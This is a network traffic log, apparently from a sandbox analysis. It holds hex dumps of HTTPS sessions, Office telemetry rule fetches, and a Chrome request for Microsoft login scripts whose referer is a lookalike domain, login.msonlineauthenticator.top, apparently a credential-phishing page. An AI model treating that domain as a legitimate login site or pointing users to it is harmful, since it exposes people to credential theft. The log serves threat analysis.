c7 f0 4a fc 71 89 8f f5 94 a0 37 ea 23 f0 ff c3 af e1 63 66 cd 64 f9 22 82 7c 17 a8 6a 58 39 d1 20 4e d0 Data Ascii: #"^t=2aVUSH22I ,IGvrWwir_inD 9DZew3#DP};V}*]D9[ XJ{#w[~iG=A;,=z>K'M\2Ta\|,g\|{V{ec)/RtfIJq7#cfd"\|jX9 N
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: 25 17 34 67 9a 22 0e 17 63 8b 78 32 19 92 bb 77 1b f5 27 c3 68 ec 67 de fb 09 07 08 64 61 56 34 36 f4 50 2c 75 a8 37 be 57 0a 38 60 80 cb 85 90 e1 08 ff 86 93 e8 29 54 8a 52 86 15 d0 a6 21 29 74 dc 42 40 87 32 ff d4 42 f4 96 c4 f1 7b c0 13 a4 09 9d 38 19 ba 47 0b 37 a8 38 69 54 1a c5 3a 1a cb f9 96 0e c8 bc ed c4 ab 96 1e 18 cd ab 79 2f 22 57 95 cc c4 8c dd 87 96 55 02 9b cc a6 60 4a e5 cc 25 a8 9a 79 46 54 11 19 46 fd 51 6b bf 16 23 f1 90 84 9e 9a 4d ac 15 ce 0d 58 a8 41 e4 02 e7 0f f5 12 96 98 f1 b1 1d 2d 07 e1 72 ec fc 14 a4 c0 ad bd 46 9c 97 9c a0 17 19 e3 6b 1c 65 24 28 3e 8f 50 d2 7e e3 57 ee e1 78 39 55 76 ca c6 8a 43 56 f1 0c 91 cf d4 81 81 2b 9b b6 60 12 ea 29 aa c1 fc ca fb a3 6b bc 1d 4f 92 83 70 3c 7c 14 6f cf 68 ef 9e 87 01 19 91 e5 f9 30 2a Data Ascii: %4g"cx2w'hgdaV46P,u7W8`)TR!)tB@2B{8G78iT:y/"WU`J%yFTFQk#MXA-rFke$(>P~Wx9UvCV+`)kOp<\|oh0*
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: 66 c0 3e ae 6d b8 da 25 53 7b 7f 16 d6 09 ed 5c 4e d5 59 95 c0 b5 6e d4 82 99 6c d2 34 8e 65 cd f0 ae ee b0 7f 0e 4b 0f 4b 76 fc 8f 4f 27 6b 0e 7b fb 39 88 e5 5e 2c 34 70 88 ec d9 59 85 45 4c 9d 6c 13 24 9a fd 19 0e 16 ed dc 9b 21 e8 0c 5e ab 6c 9e 6d 86 92 e1 78 d2 3e 7d 2a e2 e9 6d 42 44 d5 14 a0 1d dd 7e 0b 3b e1 82 36 56 cd 0d 96 d7 cc e1 c8 b5 b1 ee da 1b 20 36 1e 55 00 47 ef 77 b9 06 57 3e d1 c4 20 30 50 f5 05 ff d4 0e e5 dd 8e e4 5f e5 1b 0c e3 73 cd d8 5b d0 e8 8e dd 12 e1 e3 32 cc d7 a1 05 4d 5b 87 9b 1a 03 8a c3 af 5e 77 f8 2c da 52 46 30 3d 2b d7 3d 86 0b b9 96 43 b8 b0 3c 44 46 35 a9 a6 8a 53 eb 34 04 b7 4c 47 5d 0a dd 92 68 11 87 ed 27 c4 3e 78 26 d2 a2 42 b7 92 03 92 9f b2 90 ac b0 72 18 98 1e 26 58 4c 56 0d f0 06 7e 5a ea ad 15 59 17 96 6f Data Ascii: f>m%S{\NYnl4eKKvO'k{9^,4pYELl$!^lmx>}*mBD~;6V 6UGwW> 0P_s[2M[^w,RF0=+=C<DF5S4LG]h'>x&Br&XLV~ZYo
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: d2 0b 73 37 88 c3 20 89 3c 1e f9 b9 0b 1b 36 dc 47 2f c6 b4 f4 12 19 67 41 16 ca 2c b7 a3 48 64 61 ce 7c 37 8a 72 df 13 99 97 e5 77 b3 fb 56 fb 4a 31 82 30 f0 b3 9c fb be 97 08 27 ca 3d 2f 8b 33 9b db 59 80 61 ba 7b 99 37 63 11 a5 6e e0 43 43 c9 f2 d0 0e 3c b0 26 29 5d 1e 86 19 cb 22 37 8e a0 c9 c5 fb e9 2c cd 3d 9b c5 22 88 33 5f 66 49 9e c9 8c c5 be 67 c7 32 c8 58 ee e5 9e dc 4b 37 66 99 b8 88 dc 3c 82 7d 1c f8 1c b8 10 24 61 e2 47 6e 18 87 0e 03 18 b5 fc df b9 b3 94 45 81 eb 67 71 e4 c5 d2 96 22 49 58 94 cb 4c b0 28 ce 61 62 f1 fc 6e 96 f3 6a 37 35 07 4d 19 90 0e 36 3a f0 0d 9c 2a 81 1d 2d 19 4f 04 de 40 c0 62 26 f7 83 e6 5e 0a 2c 13 20 cd dc e3 81 4c 30 87 8e 93 db 32 0b 5c 91 c7 5e 1e 7a fb c1 bd 9a e3 a7 7e 22 5d df 49 b8 cb 58 2c 3d c7 97 b6 cd 93 Data Ascii: s7 <6G/gA,Hda\|7rwVJ10'=/3Ya{7cnCC<&)]"7,="3_fIg2XK7f<}$aGnEgq"IXL(abnj75M6:*-O@b&^, L02\^z~"]IX,=
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: e7 d3 7c e0 a6 24 fc bc de 73 e8 10 af 3e aa b4 78 af 1d b9 1d ba 15 ef 41 85 05 37 37 1e ec 6a c1 9b 2d 8f ff 00 b2 be 6a 34 c0 16 45 99 97 7b 67 05 e7 c5 25 e1 0c 50 50 7c 5b ce 7f ec eb bb bf c8 26 db bf 5e 88 3a 6f 61 9d a5 bd d3 5e 7f 91 4f 59 f6 5b 6c fa 6d 8a 30 dd 3f b0 d0 d2 a3 5b bb fd 61 f3 4a 3c 5d 96 6a ec d3 ee b2 ac 97 d8 62 33 50 29 42 05 83 f6 4f 64 c5 3b 0d 6e 2a b4 57 f6 5b 87 2c fd ed a2 2a f4 e1 02 25 de 8b 27 fa b5 da 92 ae ef a8 38 98 4c 26 07 44 f0 d1 68 dc 7a 3f 7e 01 cb 81 a2 3c 9e ff f4 e4 41 1f b1 d5 b3 37 7f d9 b9 d6 64 0d a3 bb 9f 37 d2 5c a5 4f 6f 76 e6 a9 7e b9 d1 6b 31 25 87 3d d3 31 06 ad 7a ed 0f 9b fa ab 33 6d fe c0 68 17 7d b9 ae c6 f4 ee c2 f1 89 c2 9b d6 ad 9c 9f 95 0b c3 33 d7 1c 0c eb 9f bf 1c 6f c7 e7 f3 e8 7c 99 Data Ascii: \|$s>xA77j-j4E{g%PP\|[&^:oa^OY[lm0?[aJ<]jb3P)BOd;nW[,%'8L&Dhz?~<A7d7\Oov~k1%=1z3mh}3o\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	49881	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:17 UTC	624	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.msonlineauthenticator.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:17 UTC	798	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:17 GMT Content-Type: application/x-javascript Content-Length: 116365 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT ETag: 0x8DCBD5317046A2F x-ms-request-id: d7137969-701e-005e-2511-3928b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241126T124417Z-174f7845968xlwnmhC1EWR0sv80000000vb0000000003pnr x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:17 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec bd 6b 5b db 48 b6 28 fc 7d ff 0a 5b bb c7 2d b5 0b 63 19 30 44 46 78 48 42 7a 98 49 02 07 c8 f4 f4 10 4f 1e 61 97 b1 12 23 79 74 e1 d2 d8 fb b7 bf 6b ad aa 92 4a b2 0c 26 dd fb 9c 0f ef f4 d3 c1 ba 94 ea 5e eb 7e d9 fc a9 fe 5f b5 9f 6a 1b eb ff 57 3b bf 38 3c bb a8 9d bc ab 5d fc e5 f8 ec 6d ed 14 ee 7e ad 7d 3c b9 38 7e 73 b4 7e 3d d8 28 fe bb 98 f8 71 6d ec 4f 79 0d 7e af bc 98 8f 6a 61 50 0b a3 9a 1f 0c c3 68 16 46 5e c2 e3 da 0d fc 8d 7c 6f 5a 1b 47 e1 4d 2d 99 f0 da 2c 0a bf f2 61 12 d7 a6 7e 9c c0 47 57 7c 1a de d5 4c a8 2e 1a d5 4e bd 28 79 a8 1d 9f 5a 2d a8 9f 43 6d fe b5 1f c0 d7 c3 70 f6 00 d7 93 a4 16 84 89 3f e4 35 2f 18 51 6d 53 b8 09 62 5e 4b 83 11 8f 6a 77 13 7f 38 a9 7d f0 87 51 18 87 e3 a4 16 f1 21 f7 6f Data Ascii: k[H(}[-c0DFxHBzIOa#ytkJ&^~_jW;8<]m~}<8~s~=(qmOy~jaPhF^\|oZGM-,a~GW\|L.N(yZ-Cmp?5/QmSb^Kjw8}Q!o
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: 72 48 0c 1b 29 1f 49 83 69 74 84 3e 47 59 80 42 9b b2 59 ca d8 88 5e 36 a7 24 f7 af 17 38 0d 53 1c 3e 97 dc 17 24 8a 0d 4a a7 01 95 4d e2 5c ba e4 61 91 1d cc fc 76 23 bb 17 d9 47 55 e3 fb 1d 24 72 d5 75 be 53 62 b7 c3 d2 4d f8 e3 e1 9f 08 fe 94 d8 cb 4c b2 60 93 73 a2 08 7c dd c2 cc 73 9f 8e 83 c4 ee be 3e 32 f9 4f b1 b5 a0 9d 4a e3 1e bb 1b c2 d1 c8 77 a3 9e bf 9f 52 28 74 4a 36 90 30 df 82 5a d0 d6 7a 03 ab 1b c3 71 f0 37 c6 a2 a7 e2 09 4c c4 d8 f5 2d 06 8f 9b b6 66 12 5d 1b ff 14 d3 96 df 40 63 44 2c e6 6f b8 f8 2d c3 e6 72 5b e7 a8 e9 1d a4 c2 f9 71 c3 23 61 49 cf 47 27 27 7f 63 23 57 e2 4e 51 f5 3a 81 a7 93 7d af 37 d1 7a d7 44 92 9b fa 37 81 4e 4d 11 fd 88 ec b6 68 ac 96 e7 17 55 b3 97 4f d5 55 ce e4 46 ae d0 47 c2 99 47 5b 6a a1 db c9 ce 2d d0 71 Data Ascii: rH)Iit>GYBY^6$8S>$JM\av#GU$ruSbML`s\|s>2OJwR(tJ60Zzq7L-f]@cD,o-r[q#aIG''c#WNQ:}7zD7NMhUOUFGG[j-q
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: 29 8c 92 ca 92 96 69 33 da 9c 35 38 fc d6 d6 60 90 eb 41 a0 12 7b 42 d2 a3 7c 11 42 9b 34 a2 89 fa ac 50 54 6d 90 84 ac 5a 8e c0 f6 f8 15 ad ba d6 15 90 17 54 c3 6f b0 8f f9 f7 1b 9e 4f e9 71 33 74 f5 c0 fd e6 30 a7 21 7d a1 5d 47 f8 42 c3 4d be f3 4f 41 ba 44 02 66 76 07 a0 26 a7 28 74 99 e0 3b c9 b0 c7 62 54 65 49 f7 30 01 73 38 73 93 6f be 83 38 82 66 ee ce ce 1e 6e 0d f8 b1 f5 0c 45 5a dc 2d bb 1e b9 c6 a8 1c a5 3d e7 d3 a7 01 cc 63 fd e7 fc 53 3e 06 6a 35 fc f4 09 4b f4 c5 6e dd 03 86 b1 25 2e c8 49 20 ba c1 d7 11 55 f4 05 62 8b c7 b5 5e f7 e2 9e ef 6c 35 b7 f6 9a 6d 87 5d 61 90 56 d2 75 a6 25 9c a5 be 73 39 49 2f c2 89 c3 06 e9 f4 2e 8b 2f c7 85 ef 7c bc 0d 9f ad 6c b6 da db eb 9b ad cd ed 95 17 51 82 39 5e a0 b7 cf f0 f1 eb 15 f7 97 49 1a 67 29 5a Data Ascii: )i358`A{B\|B4PTmZToOq3t0!}]GBMOADfv&(t;bTeI0s8so8fnEZ-=cS>j5Kn%.I Ub^l5m]aVu%s9I/./\|lQ9^Ig)Z
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: 43 68 1e b4 61 d1 c2 e6 08 96 6a d0 1c 75 d2 c3 bc a3 a2 68 ef 40 82 32 1c 1c 7b 39 fa ab 83 34 35 ee 0e dd d2 bd c6 a3 e3 da f3 7c fa 79 15 5c ca 3e 2f 40 6c be 3a bc e8 78 20 98 f4 2e e0 1d e4 fd 56 63 77 ca ae d9 1d 3a bf 64 68 0d bf 86 7f 8c a4 17 fe f8 eb 7d 5b d4 06 df ab e2 2b 59 bc 90 fa 71 8c 6d 52 7e a4 58 f9 fa 23 e9 ab 86 4c d4 b9 ba f0 c4 a4 6a a5 37 fb c1 26 5b c5 f2 30 9b 42 1c ab 21 ec 3a 8a cc 58 07 52 57 12 27 53 82 ac c7 c9 ad f0 1a cb f1 c6 54 45 5c 89 e4 5c bd 7e 67 7a 48 3c 46 dc 1b 4a 50 ba e3 2e 79 86 a5 3e ca 8a 99 87 ca 6b 17 98 cf 6e 0f 3e 00 68 d3 f7 f1 5f 4f 3b 19 98 1a 87 7b c1 08 f8 63 17 4f 7f ce 0c e0 45 fb 8b 27 9e ee 44 80 27 ce ab 3e 29 12 46 c4 b8 b4 78 ad c9 f6 06 5c b6 37 22 bf 58 45 07 fb 68 b5 36 b5 cb 52 b6 2d b7 Data Ascii: Chajuh@2{945\|y\>/@l:x .Vcw:dh}[+YqmR~X#Lj7&[0B!:XRW'STE\\~gzH<FJP.y>kn>h_O;{cOE'D'>)Fx\7"XEh6R-
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: 50 d0 d5 39 aa fa b8 ea f0 0c 5e b3 3c ed 39 82 c4 c7 f0 e9 f8 a9 11 fd ee 03 1a 02 ec ec bc 1e bd 0c cf 82 8f 18 b1 2f f9 88 f8 f5 23 27 ed f9 c8 49 92 e1 1d 56 8c 6e 6f f1 cf 94 ff 2c 77 76 ec 2f 77 7a 98 3c 16 d9 f0 ed 93 db db 13 5b d5 13 9e a8 98 80 40 5f 4f 91 e3 3d 11 94 39 fa 19 ba 7f ca ac ef 0d d6 09 1c 92 46 38 e2 5f c7 49 80 9e 8b 38 eb 6c 85 09 b4 62 9d 5b 1d 47 92 f1 80 12 5a 18 ff 2c 54 bd 88 98 d9 ee e6 6f 4b a0 df 82 eb 90 1a 8e 00 5a 51 5c b0 c2 e5 84 de 2e 50 30 f1 df 6e 0c 8b a6 ae c5 6b 1f 27 c6 89 07 4e c3 78 68 cd f9 b4 db 43 45 68 31 f4 4e bb b0 17 d0 fc 82 4d ac e3 d0 7d d5 09 af 3d bd d4 fe 19 1c c3 e9 22 e3 50 a5 b2 47 17 b0 3f bc 0a d5 2e 75 7a b8 4f b2 1e 67 34 d9 4e 63 97 9f 7b d6 02 d4 b7 02 3a c1 61 cd 3d bd 16 ca 31 da 5e Data Ascii: P9^<9/#'IVno,wv/wz<[@_O=9F8_I8lb[GZ,ToKZQ\.P0nk'NxhCEh1NM}="PG?.uzOg4Nc{:a=1^
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: 74 72 fb 31 53 f0 93 bc 81 d3 83 bc d1 d3 83 6f 9c 02 6a e3 fb cf 03 ef f3 c6 93 51 af 57 f8 d0 5e 5b 41 b8 f6 c6 e1 d5 bf ff 20 b0 d5 6f 1c 43 7a 51 d7 1b c8 5f b4 24 71 d3 9b 0f a9 c9 b3 dd 0b f2 21 90 e4 43 24 09 25 4b 50 0d cf 8c 6f 62 e5 88 72 b3 63 51 46 52 e9 a5 cc 3b 9c 98 a6 0a 38 4d 85 3e df 95 f8 88 93 19 59 81 f6 42 13 0b 3c a8 2b 2c 2d 59 af b6 22 6e 07 b3 d5 11 28 e7 e0 30 d6 1d 1f c9 39 a8 6e 32 07 6f ac 59 1e 59 61 06 62 7c 2e 46 48 49 7c f6 91 70 d4 91 9b 81 f1 18 46 32 48 1c 20 d2 22 15 56 dd 08 24 98 bd d5 e8 1b 4f 8d 4c 62 15 e0 46 85 7d 25 72 e1 38 5e 7e 87 07 db e6 9f 6c e6 7d 32 ab ec c2 0d 57 35 d2 59 01 79 ee 6f 72 13 0d 85 da 8b c2 83 6c d0 0b 34 66 a5 dd 0c f0 9d ab f8 24 00 73 8c 07 b4 02 92 4b d5 b1 75 17 96 0e b3 72 50 0e 90 Data Ascii: tr1SojQW^[A oCzQ_$q!C$%KPobrcQFR;8M>YB<+,-Y"n(09n2oYYab\|.FHI\|pF2H "V$OLbF}%r8^~l}2W5Yyorl4f$sKurP
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: 63 4d 91 32 d6 52 36 60 5b ac 09 30 f3 65 fb ce f6 e7 38 a2 0d 16 84 de c9 87 1f 4f 4a f8 36 33 60 db bc f3 8d 03 e9 66 d1 90 42 cf a6 8c fd 73 20 33 13 e0 aa f5 a5 40 6e 98 1e 23 65 91 c8 1f 22 65 95 88 25 a6 ed 09 b2 32 48 8d e5 00 61 76 8c 6d 19 c2 5e e8 e8 5e 3a 68 05 64 8e e3 55 ad b0 7d a3 83 90 da 2a 86 89 ff 9d c7 b5 4c 3e b3 9f 90 23 3f b5 f8 ac 9f a3 69 ac a8 c9 d7 f0 d0 a1 31 ea b0 ea 38 1e fd 81 54 43 6a 1c c9 64 bf 17 8b 88 be 28 f5 24 4f 23 ba 05 68 c1 47 42 db e7 a1 13 f6 2b fb 9b 6e 7b fe 7a ee ac 7b ca 26 59 1f ca 92 10 03 1c 99 6d 00 76 75 8c 2b c5 8d 05 8e f2 dd 2e 95 2d ec ca 58 d9 6b fb 4e 66 a6 cd 1d 6c b8 21 f1 95 ff f2 7e 8c bb ce 0d 00 36 ef 3f bd f7 5f 1e 44 1d cd 79 b1 33 af ad 20 dc 62 0c f8 da ff d2 10 b6 5d 8b f8 dd ff 09 a0 Data Ascii: cM2R6`[0e8OJ63`fBs 3@n#e"e%2Havm^^:hdU}*L>#?i18TCjd($O#hGB+n{z{&Ymvu+.-XkNfl!~6?_Dy3 b]
2024-11-26 12:44:18 UTC	2475	IN	Data Raw: de 2c 30 3f 34 26 15 78 3c 32 d3 c9 17 b6 63 68 f2 5e 3e ca 38 c7 fa da b4 a6 b7 c9 4e e7 6b eb eb 52 5a e4 a3 63 e0 52 22 d0 e9 eb e5 b4 39 64 8c cb 89 81 6f d5 ca 69 80 28 8f c7 e5 c4 31 24 e6 e5 c4 29 24 a6 e5 c4 89 0f 04 77 29 6d e6 03 81 5d 4a 1b f9 40 80 97 d2 6e 7c 20 c6 4b 69 97 3e 50 1b a5 b4 73 1f 48 9c 52 da 85 0f a4 51 29 ed cc b7 9e 94 d3 ae d0 e1 5d 29 ed da b7 be 2d a7 1d c9 68 79 e3 e3 b4 66 7d f1 b5 ed ac f7 28 1c df ed 02 dd 2b ec 9b 9f eb f4 dd eb 7d 2b 33 dc 1d af db 7d ff f8 89 03 39 df f8 eb ad c1 71 0a 93 ff b5 bd 0e 9f d7 dd 17 14 4f 10 e3 02 ae 47 0f d8 5e 7f 74 4f dd e7 ee a1 fb d6 fd d5 7d e5 be 73 0f 7e 87 46 f4 ed c2 7d 89 4a 7c 59 a6 83 dc bb ef fd 83 56 74 1e 03 cf f7 82 63 43 7f e7 bf 94 24 d3 33 bf ed be 46 3e eb 7b 14 3a Data Ascii: ,0?4&x<2ch^>8NkRZcR"9doi(1$)$w)m]J@n\| Ki>PsHRQ)])-hyf}(+}+3}9qOG^tO}s~F}J\|YVtcC$3F>{:

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:17 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:18 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:17 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ab6eb442-501e-0035-0e91-3fc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124417Z-174f7845968kdththC1EWRzvxn00000007v0000000004wac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:18 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:18 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:18 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:18 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 951aba40-201e-0085-5291-3f34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124418Z-174f7845968qj8jrhC1EWRh41s0000000vcg0000000077wn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:18 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:18 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:18 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:18 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2150929f-401e-0064-4382-3f54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124418Z-174f7845968zgtf6hC1EWRqd8s0000000neg000000004cwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:18 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:18 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:19 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:19 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97972df5-901e-008f-1591-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124419Z-174f78459685726chC1EWRsnbg0000000vcg00000000bchd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:19 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 